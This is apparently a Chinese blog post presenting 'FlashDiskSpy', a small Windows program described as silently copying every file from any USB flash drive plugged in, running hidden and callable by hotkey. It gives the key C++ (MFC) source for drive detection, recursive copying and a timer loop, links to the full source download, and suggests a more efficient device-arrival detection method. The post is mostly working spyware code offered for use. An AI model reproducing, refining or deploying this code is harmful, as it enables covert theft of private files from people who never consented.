闪盘小偷的实现与代码

源代码下载:http://www.vczx.com/article/file/20050902202225_FlashDiskSpy.rar
一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.

关键代码如下:

//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strdir="";
for(char cc=‘A‘;cc<=‘Z‘;cc++)
{
  strdir.Format("%c:",cc);
  if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
       return strdir;
    }
    return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{   
CFileFind tempFind;
    CString tempFileFind;
    tempFileFind.Format("%s//*.*",dir);
    BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
    while(IsFinded)
    {
      IsFinded=(BOOL)tempFind.FindNextFile();
      if(!tempFind.IsDots())
      {
         CString foundFileName;
         foundFileName=tempFind.GetFileName();
   
         if(tempFind.IsDirectory())
         {
            CString tempDir;
            tempDir.Format("%s//%s",dir,foundFileName);
            CopyFile(tempDir);
         }
         else
         {
            CString tempFileName1,tempFileName2;
            tempFileName1.Format("%s//%s",dir,foundFileName);
   tempFileName2.Format("%s//%s",m_Path,foundFileName);
            ::CopyFile(tempFileName1,tempFileName2,FALSE);
         }
      }
    }
    tempFind.Close();
}

void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
  m_NewFdisk=FindFdisk();

  if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
  {
   CopyFile(m_NewFdisk);
  }
        if(m_NewFdisk!="")
            m_OldFdisk=m_NewFdisk;
  else
            m_OldFdisk="NULL";
}

CDialog::OnTimer(nIDEvent);

在有外设安装的时候,一般都会向所有窗口广播 WM_DEVICECHANGE 消息,
处理这个消息,安装时候在 DBT_DEVICEARRIVAL 中处理 DEV_BROADCAST_HDR, DEV_BROADCAST_VOLUME 就可以得到 U 盘
的盘符。 这样应该比用定时器效率要高不少。

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值